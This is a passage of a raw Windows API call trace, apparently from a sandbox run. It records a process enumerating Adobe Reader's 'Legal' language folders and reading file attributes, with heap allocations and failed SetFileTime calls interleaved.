0 [0081.519] GetLastError () returned 0x12 [0081.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.519] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0081.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.521] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.521] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.521] NtClose (Handle=0x178) returned 0x0 [0081.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.522] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.522] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.522] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202058 [0081.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12667e8 [0081.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.524] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202078 [0081.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12668f0 [0081.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.525] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.525] GetLastError () returned 0x12 [0081.525] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.525] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc288, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.525] GetLastError () returned 0x12 [0081.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.526] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0081.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.527] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.527] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.527] NtClose (Handle=0x168) returned 0x0 [0081.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.528] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202098 [0081.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12669f8 [0081.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12020b8 [0081.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1266b00 [0081.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.531] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.531] GetLastError () returned 0x12 [0081.531] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.531] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.531] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.531] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.531] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.531] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.531] GetLastError () returned 0x12 [0081.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.532] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0081.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.533] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.533] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.534] NtClose (Handle=0x178) returned 0x0 [0081.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.534] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.534] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.534] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12020d8 [0081.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1266c08 [0081.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.536] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 